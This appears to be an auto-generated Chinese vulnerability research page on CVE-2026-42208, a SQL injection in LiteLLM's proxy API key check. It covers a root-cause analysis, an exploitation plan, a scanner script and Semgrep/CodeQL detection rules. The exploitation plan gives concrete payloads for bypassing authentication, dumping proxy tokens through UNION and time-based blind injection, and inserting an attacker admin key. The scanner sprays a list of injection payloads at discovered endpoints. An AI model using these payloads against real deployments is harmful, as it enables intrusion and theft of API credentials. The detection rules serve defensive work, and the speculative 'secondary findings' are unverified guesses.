🔥 CVE-2026-42208 深度独立研究：源码审计 · 二次发现 · 利用方案
🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8
CVE-2026-42208 深度独立研究：源码审计 · 二次发现 · 利用方案
📊 3 来源🔍 源码审计🧪 PoC
NVD-LatestCISA-KEVPoC-in-GitHub
🔍 源码独立审计
对 https://github.com/BerriAI/litellm 源码进行独立审计（置信度 72%）。
🧬 根因独立理解
漏洞根因位于代理端 API Key 校验的数据库查询逻辑。CVE 描述明确指出“proxy API key checks”中把调用者提供的 key 值拼接进查询文本，而不是作为绑定参数传入。在 LiteLLM 的认证链路中，Authorization 头会先被 litellm/proxy/proxy_server.py::user_api_key_auth 提取，随后交给 litellm/proxy/auth/auth_checks.py 中的校验/错误处理函数。旧版实现为了在 token 无效时也生成可读错误，在异常处理路径调用类似 get_api_key_info(api_key) 的函数，该函数使用 Prisma query_raw 执行原生 SQL，例如：SELECT * FROM LiteLLM_VerificationToken WHERE token = '{api_key}'。api_key 来自请求头，完全不可信；攻击者因此可以直接注入 SQL 运算符和注释符。补丁将上述语句改为参数化查询，例如：SELECT * FROM LiteLLM_VerificationToken WHERE token = $1，并把 api_key 作为绑定变量传给 query_raw，使输入不再参与 SQL 语法解析。之所以能未授权触发，是因为该查询在认证失败后的错误处理路径中被调用，攻击者不需要先通过任何身份检查。注意：提供的 litellm/llms/custom_httpx/llm_http_handler.py 只是 HTTP 客户端封装，ui/litellm-dashboard 的 schema.d.ts 是 OpenAPI 类型定义，二者均不是直接漏洞点；真正的 SQL 注入点在 auth 模块中原生 SQL 拼接处。
🛤️ 漏洞触发链路
攻击者向任意需要认证的 LLM API 路由（如 POST /chat/completions）发送 Authorization: Bearer <payload>。FastAPI 依赖注入进入 user_api_key_auth，该函数从 header 中取出 api_key。若 api_key 不是合法 token，认证逻辑进入错误处理/详细查找分支，调用以 api_key 为条件的数据库查询。由于查询是用 f-string 拼接的，payload 中的单引号闭合了原有字符串，OR 1=1、UNION SELECT、; 等语法被带入 SQL。攻击者可通过真假响应、报错信息或时间延迟判断注入是否成功，进而读取 LiteLLM_VerificationToken 表内的代理 key 和关联模型凭证，甚至通过堆叠查询修改或插入记录，最终完全控制 AI Gateway。
🔁 二次发现（同类漏洞/扩展攻击面）
- litellm/proxy/auth/auth_checks.py::get_user_info: 用户信息查询可能同样使用 f-string 拼接 user_id，可通过 /user/info 等接口传入恶意 user_id 触发同类 SQL 注入，需检查是否已统一参数化。
- litellm/proxy/utils.py::get_team_info: 团队/密钥查询若沿用相同模式，攻击者可通过 team_id 或 key 字段进行注入，是同一缺陷模式的可扩展攻击面。
- litellm/proxy/management_endpoints/endpoints.py::get_model_info: 管理端点按 model_name 检索时若拼接字符串，也会造成同类注入，尤其可能被未授权 admin 接口利用。
🩹 修复完整性分析
直接补丁将 token 查询改为绑定参数，封堵了 CVE 入口，修复是否完整取决于是否覆盖所有同类拼接。当前代码中 llm_http_handler.py 和 schema.d.ts 不涉及 SQL，不能验证修复范围。若 auth_checks 内其他按 user_id/team_id/key_alias 的查询仍使用 f-string，攻击者可通过其他参数绕过；另外，错误处理路径中若在日志或重试逻辑再次格式化拼接，也可能形成二次注入。建议全面禁止 query_raw 与格式化字符串混用。
⚔️ 利用方案设计
利用方案：1) 探测注入点：对 /chat/completions 发送 Authorization: Bearer '，若返回 500 或 SQL 语法错误相关信息（而非普通 401），说明单引号进入 SQL。2) 绕过认证：发送 Authorization: Bearer x' OR '1'='1' --，若代理将该请求当作有效 key 并继续调用后端 LLM，则确认注入。3) 数据窃取：用 UNION 探测列数：' UNION SELECT NULL,NULL,NULL...--，逐步匹配 LiteLLM_VerificationToken 表结构，取出 token、key_alias、user_id 等字段；若错误回显被关闭，则用 AND (SELECT length(token) FROM ...)>1 做布尔盲注或 '; SELECT pg_sleep(5)-- 做时间盲注。4) 提权持久化：在 PostgreSQL 下尝试堆叠查询：'; INSERT INTO LiteLLM_VerificationToken (token, user_id, ...) VALUES ('sk-admin', 'admin', ...); --，或直接 UPDATE 已有 token 为攻击者值，从而获得代理管理的所有上游 API 密钥。关键点是把不可信 key 放入 SQL 字符串前不做任何转义，payload 只需闭合引号并注释掉后续条件。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言py来源ridhinva/litellm-sqli-scanner针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
#!/usr/bin/env python3
"""
CVE-2026-42208 - LiteLLM SQL Injection Scanner
Detects SQL injection in BerriAI LiteLLM proxy instances.
"""
import argparse
import json
import re
import sys
from datetime import datetime
from urllib.parse import urljoin,urlparse
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
try:
from colorama import Fore,
Style,init
init(autoreset=True)
except ImportError:
class Fore:
RED = GREEN = YELLOW = CYAN = WHITE = RESET = ""
class Style:
RESET_ALL = ""
VERSION = "1.0.0"
BANNER = f"""
{Fore.CYAN}╔══════════════════════════════════════════════╗
║ CVE-2026-42208 - LiteLLM SQL Injection ║
║ Scanner v{VERSION}║
╚══════════════════════════════════════════════╝{Style.RESET_ALL}
"""
SQL_ERRORS = [
"sql syntax","sqlite3","postgresql","mysql","ORA-","SQL Server","syntax error","unclosed quotation","PDOException","SQLSTATE","column.*does not exist","table.*does not exist","operational error","database is locked","disk i/o error","malformed database",]
LITELLM_ENDPOINTS = [
("/health/liveliness","GET","Health check endpoint"),("/health/readiness","GET",
"Readiness check"),("/v1/models","GET","List models"),("/models","GET","Models list"),("/v1/chat/completions","POST","Chat completions"),("/chat/completions","POST","Chat completions"),("/v1/completions","POST","Text completions"),("/v1/embeddings","POST","Embeddings"),("/key/generate","POST","Key generation"),("/key/info","GET","Key info"),("/team/info","GET","Team info"),("/user/info","GET",
"User info"),("/model/info","GET","Model info"),("/v1/model/info","GET","Model info"),("/spend/logs","GET","Spend logs"),("/global/spend/logs","GET","Global spend logs"),("/global/spend/keys","GET","Key spending"),("/global/spend/models","GET","Model spending"),("/v1/spend/logs","GET","Spend logs"),("/config","GET","Configuration"),("/metrics","GET","Prometheus metrics"),
]
SQLI_PAYLOADS = [
{"name": "single_quote","value": "'","desc": "Single quote injection"},{"name": "double_quote","value": '"',"desc": "Double quote injection"},{"name": "or_true","value": "' OR '1'='1","desc": "OR true injection"},{"name": "union_select","value": "' UNION SELECT NULL--","desc": "UNION SELECT injection"},{"name": "comment_inject","value": "test'--",
"desc": "Comment injection"},{"name": "stacked_query","value": "';SELECT 1--","desc": "Stacked query"},{"name": "sleep","value": "' AND SLEEP(5)--","desc": "Time-based blind"},{"name": "pg_sleep","value": "';SELECT pg_sleep(5)--","desc": "PostgreSQL sleep"},{"name": "waitfor","value": "';WAITFOR DELAY '0:0:5'--","desc": "MSSQL delay"},{"name": "benchmark",
"value": "' AND BENCHMARK(5000000,SHA1('test'))--","desc": "MySQL benchmark"},{"name": "error_based","value": "' AND 1=CONVERT(int,(SELECT @@version))--","desc": "Error-based extraction"},{"name": "parenthesis","value": "') OR ('1'='1","desc": "Parenthesis injection"},{"name": "backtick","value": "` OR 1=1--","desc": "Backtick injection"},]
class LiteLLMScanner:
def __init__(self,target,
timeout=10):
self.target = target.rstrip("/")
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({"User-Agent": "LiteLLM-Scanner/1.0 (Security Audit)","Content-Type": "application/json",})
self.findings = []
self.is_litellm = False
def add_finding(self,severity,category,title,detail="",url="",
evidence=""):
self.findings.append({"severity": severity,"category": category,"title": title,"detail": detail,"url": url,"evidence": evidence[:300],"timestamp": datetime.now().isoformat(),
})
def fingerprint(self):
"""Check if target is a LiteLLM instance."""
print(f"\n {Fore.CYAN}[*] Fingerprinting {self.target}...{Style.RESET_ALL}")
# Check health endpoint
for path in ["/health/liveliness","/health/readiness"]:
try:
resp = self.session.get(f"{self.target}{path}",
timeout=self.timeout)
if resp.status_code == 200:
body = resp.text.lower()
if "litellm" in body or "healthy" in body:
self.is_litellm = True
print(f" {Fore.GREEN}[+] LiteLLM confirmed via {path}{Style.RESET_ALL}")
break
except:
pass
# Check response headers for LiteLLM signatures
try:
resp = self.session.get(f"{self.target}/",
timeout=self.timeout)
headers = {k.lower(): v for k,v in resp.headers.items()}server = headers.get("server",
"")
if "litellm" in server.lower() or "uvicorn" in server.lower():
self.is_litellm = True
print(f" {Fore.GREEN}[+] LiteLLM detected via server header: {server}{Style.RESET_ALL}")
except:
pass
# Try model listing
for path in ["/v1/models",
"/models"]:
try:
resp = self.session.get(f"{self.target}{path}",timeout=self.timeout)
if resp.status_code == 200:
try:
data = resp.json()
if "data" in data:
self.is_litellm = True
models = [m.get("id","") for m in data.get("data",
[])]
print(f" {Fore.GREEN}[+] LiteLLM confirmed via {path}({len(models)}models){Style.RESET_ALL}")
if models:
print(f" Models: {','.join(models[:5])}{'...' if len(models) >
5 else ''}")
break
except:
pass
except:
pass
if not self.is_litellm:
print(f" {Fore.YELLOW}[?] Could not confirm LiteLLM - scanning anyway{Style.RESET_ALL}")
return self.is_litellm
def discover_endpoints(self):
"""Discover available endpoints."""
print(f"\n {Fore.CYAN}[*] Discovering endpoints...{Style.RESET_ALL}")
available = []
for path,
method,desc in LITELLM_ENDPOINTS:
try:
if method == "GET":
resp = self.session.get(f"{self.target}{path}",timeout=self.timeout,allow_redirects=False)
else:
resp = self.session.post(f"{self.target}{path}",json={},timeout=self.timeout,
allow_redirects=False)
status = resp.status_code
if status != 404:
color = Fore.GREEN if status == 200 else Fore.YELLOW if status in (401,403) else Fore.CYAN
print(f" {color}[{status}] {path}({desc}){Style.RESET_ALL}")
available.append((path,method,status,
desc))
except:
pass
return available
def test_sqli(self,endpoints):
"""Test endpoints for SQL injection."""
print(f"\n {Fore.CYAN}[*] Testing SQL injection ({len(SQLI_PAYLOADS)}payloads)...{Style.RESET_ALL}")
vulnerable = []
for path,method,status,
desc in endpoints:
# Skip health endpoints
if "health" in path:
continue
print(f"\n {Fore.WHITE}Testing: {path}{Style.RESET_ALL}")
for payload in SQLI_PAYLOADS:
try:
# Test as query parameter
test_url = f"{self.target}{path}"
params = {"q": payload["value"],
"search": payload["value"],"model": payload["value"],"key": payload["value"]}if method == "GET":
resp = self.session.get(test_url,params=params,timeout=self.timeout)
else:
# Also test in POST body
body = {"model": payload["value"],"messages": [
{"role": "user",
"content": payload["value"]}]}resp = self.session.post(test_url,json=body,timeout=self.timeout)
# Check for SQL errors in response
body_lower = resp.text.lower()
for error in SQL_ERRORS:
if re.search(error.lower(),body_lower):
vuln = {"path": path,"payload": payload["name"],
"payload_value": payload["value"],"error": error,"status": resp.status_code,"evidence": resp.text[:200],}vulnerable.append(vuln)
print(f" {Fore.RED}[SQLI] {payload['name']}
in {path}{Style.RESET_ALL}")
print(f" Error: {error}")
print(f" Payload: {payload['value'][:50]}")
self.add_finding("CRITICAL","SQL Injection",f"SQLi in {path}({payload['name']})",detail=f"Error: {error}",url=f"{test_url}?q={payload['value'][:30]}",
evidence=resp.text[:200])
break
# Check for time-based detection
if "sleep" in payload["name"].lower() or "waitfor" in payload["name"].lower() or "benchmark" in payload["name"].lower():
try:
import time
start = time.time()
if method == "GET":
resp = self.session.get(test_url,
params=params,timeout=10)
else:
resp = self.session.post(test_url,json=body,timeout=10)
elapsed = time.time() - start
if elapsed >4:
vuln = {"path": path,"payload": payload["name"],"time_delay": f"{elapsed:.1f}s","type": "time-based blind",}
vulnerable.append(vuln)
print(f" {Fore.RED}[SQLI-TIME] {payload['name']}in {path}({elapsed:.1f}s delay){Style.RESET_ALL}")
self.add_finding("CRITICAL","SQL Injection (Time-based)",f"Time-based SQLi in {path}",
detail=f"Delay: {elapsed:.1f}s with {payload['name']}")
except:
pass
except requests.exceptions.Timeout:
if "sleep" in payload["name"] or "waitfor" in payload["name"]:
print(f" {Fore.YELLOW}[?] Timeout on {payload['name']}
- possible blind SQLi{Style.RESET_ALL}")
except Exception:
pass
return vulnerable
def full_scan(self):
"""Run full scan."""
print(f"\n{Fore.CYAN}{'='*60}")
print(f" FULL SCAN: {self.target}")
print(f" Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f"{'='*60}{Style.RESET_ALL}")
self.fingerprint()
endpoints = self.discover_endpoints()
self.test_sqli(endpoints)
# Summary
print(f"\n{Fore.CYAN}{'='*60}")
print(f" SCAN SUMMARY")
print(f"{'='*60}{Style.RESET_ALL}")
print(f" Target: {self.target}")
print(f" LiteLLM: {'Confirmed' if self.is_litellm else 'Unconfirmed'}")
print(f" Endpoints: {len(endpoints)}")
print(f" Findings: {len(self.findings)}")
crit = sum(1 for f in self.findings if f["severity"] == "CRITICAL")
high = sum(1 for f in self.findings if f["severity"] == "HIGH")
if crit:
print(f" {Fore.RED}CRITICAL: {crit}{Style.RESET_ALL}")
if high:
print(f" {Fore.RED}HIGH: {high}{Style.RESET_ALL}")
for f in self.findings:
color = {"CRITICAL": Fore.RED,
"HIGH": Fore.RED,"MEDIUM": Fore.YELLOW}[f["severity"]]
print(f" {color}[{f['severity']}] {f['title']}{Style.RESET_ALL}")
def export_json(self,filename):
report = {"tool": "LiteLLM SQLi Scanner","version": VERSION,"cve": "CVE-2026-42208","target": self.target,"scan_time": datetime.now().isoformat(),"is_litellm": self.is_litellm,"findings": self.findings,}
with open(filename,'w') as f:
json.dump(report,f,indent=2)
print(f"\n {Fore.GREEN}[+] Report saved to {filename}{Style.RESET_ALL}")
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-42208 - LiteLLM SQL Injection Scanner",formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s https://target-litellm.com
%(prog)s targets.txt
%(prog)s https://target-litellm.com --json --output report.json
"""
)
parser.add_argument("target",help="Target URL or file with targets")
parser.add_argument("--timeout",type=int,default=10,help="Request timeout")
parser.add_argument("--json",action="store_true",
help="JSON output")
parser.add_argument("--output",
help="Output filename")
args = parser.parse_args()
print(BANNER)
if not HAS_REQUESTS:
print(f" {Fore.RED}[!] requests library required. Install: pip install requests{Style.RESET_ALL}")
sys.exit(1)
# Load targets
targets = []
try:
with open(args.target) as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
except (FileNotFoundError,
IsADirectoryError):
targets = [args.target]
for target in targets:
if not target.startswith(('http://','https://')):
target = 'https://' + target
scanner = LiteLLMScanner(target,
timeout=args.timeout)
scanner.full_scan()
if args.output and len(targets) == 1:
scanner.export_json(args.output)
if __name__ == "__main__":
main()⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Semgrep 审计规则: CVE-2026-42208.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-42208.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-42208.yaml
rules:
- id: CVE-2026-42208-sqli-python
languages:
- python
severity: ERROR
message: "Potential SQL injection in LiteLLM proxy API key check via string formatting instead of parameterized query"
patterns:
- pattern-either:
- pattern: |f"SELECT * FROM $TABLE WHERE key = $VALUE"
pattern-not: |f"SELECT * FROM $TABLE WHERE key = ?"
fix: |
cursor.execute("SELECT * FROM proxy_keys WHERE key = ?",
(key_value,))
metadata:
cwe: "CWE-89"
owasp: "A1: Injection"
technology: litellm
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-42208"
- id: CVE-2026-42208-sqli-python-format
languages:
- python
severity: ERROR
message: "Potential SQL injection via string formatting in database query"
patterns:
- pattern-either:
- pattern: $QUERY.format(key=$VALUE)
- pattern-not: $QUERY.format(key="?")
fix: |
cursor.execute("SELECT * FROM proxy_keys WHERE key = ?",(key_value,))
metadata:
cwe: "CWE-89"
owasp: "A1: Injection"
technology: litellm
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-42208"🛡️ CodeQL 审计规则: CVE-2026-42208.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-42208.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id python/sql-injection/cve-2026-42208
* @name SQL injection in LiteLLM proxy database query
* @description User-controlled Authorization header value is concatenated into a database query instead of being passed as a parameter,
allowing SQL injection.
* @problem.severity error
* @tags security
* external/cwe/cwe-089
*/
import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking
import semmle.python.ApiGraphs
class SqlInjectionConfig extends TaintTracking::Configuration {SqlInjectionConfig() {this = "SqlInjectionConfig" }
override predicate isSource(DataFlow::Node source) {exists(DataFlow::Node n |n.asExpr() = any(Subscript s |s.getObject().(Name).getId() = "headers").getItem(_) or
source.asExpr() = any(Call c |c.getFunc().(Attribute).getAttrName() = "get" and
c.getFunc().(Attribute).getObject().(Name).getId() = "headers"
)
)
}override predicate isSink(DataFlow::Node sink) {
exists(DataFlow::Node n |n.asExpr() = any(Call c |c.getFunc().(Attribute).getAttrName() = "execute" or
c.getFunc().(Attribute).getAttrName() = "executemany" or
c.getFunc().(Attribute).getAttrName() = "executescript"
) and
sink = n
)
}override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {
any(FString fstr).getAFormattedValue() = node1.asExpr() and
node2.asExpr() = fstr
}}from DataFlow::PathNode source,DataFlow::PathNode sink,SqlInjectionConfig config
where config.hasFlowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled input from Authorization header reaches database execute() call,allowing SQL injection."🤖 高危漏洞深度独立研究引擎生成 · 2026-08-12 03:03